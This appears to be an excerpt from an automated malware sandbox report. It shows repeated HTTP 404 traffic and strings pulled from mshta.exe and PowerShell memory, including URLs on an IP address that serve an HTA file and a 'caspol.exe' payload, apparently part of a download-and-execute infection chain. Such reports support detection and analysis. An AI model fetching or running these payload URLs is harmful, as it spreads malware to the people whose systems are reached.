Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:37 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:38 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:39 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:40 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:41 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:42 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:43 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:44 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:45 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:46 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:47 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:48 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:49 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:50 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:51 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:52 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:53 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:54 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:55 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:55 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:56 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:57 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:57:58 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:00 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:01 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:02 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:03 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:04 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:05 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:06 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:07 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:08 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:09 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:10 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:11 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:12 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:13 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:14 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 20 Nov 2024 06:58:15 GMTContent-Type: text/html; charset=utf-8Connection: closeX-Powered-By: PHP/5.4.16Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/
Source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/55/caspol.e
Source: powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/55/caspol.exe
Source: powershell.exe, 0000001F.00000002.523691740.000000001AF69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/55/caspol.exe6
Source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/55/caspol.exep
Source: mshta.exe, 00000004.00000002.432158239.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.431264903.00000000034DD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432134757.00000000042AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.431156487.00000000042AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506803305.0000000002C2D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.507346149.0000000002C2E000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.0000000000279000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506294361.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.504008484.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512306912.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.507364961.0000000002C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta
Source: mshta.exe, 0000001D.00000002.511914905.00000000001DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta$1
Source: mshta.exe, 00000004.00000003.430428593.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430640416.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430980490.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.431523218.00000000004C2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.000000000022C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta..
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta38
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.hta=8
Source: mshta.exe, 00000004.00000002.432158239.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.430626132.0000000004301000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.511914905.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506346159.0000000000240000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506294361.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.504008484.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512306912.0000000003D87000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510915090.0000000000240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaC:
Source: mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaHf
Source: mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaV8
Source: mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaZf
Source: mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htadf
Source: mshta.exe, 00000004.00000003.431264903.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.510361814.0000000002C25000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.506573800.0000000002C25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htaht
Source: mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.136/xampp/swm/sw/greetingwithgreatthignsgivenbackwithentireprocessgivenmeback.htavf
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 0000001D.00000003.511761813.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D55000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.n?
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512238267.0000000003CBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511231809.0000000003CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003D37000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003D37000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003D37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.430626132.00000000042B9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.432158239.00000000042BA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000002.512257689.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.508040441.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000001D.00000003.511689770.0000000003CF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.454706317.0000000003632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000005.00000002.468386481.00000000122A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
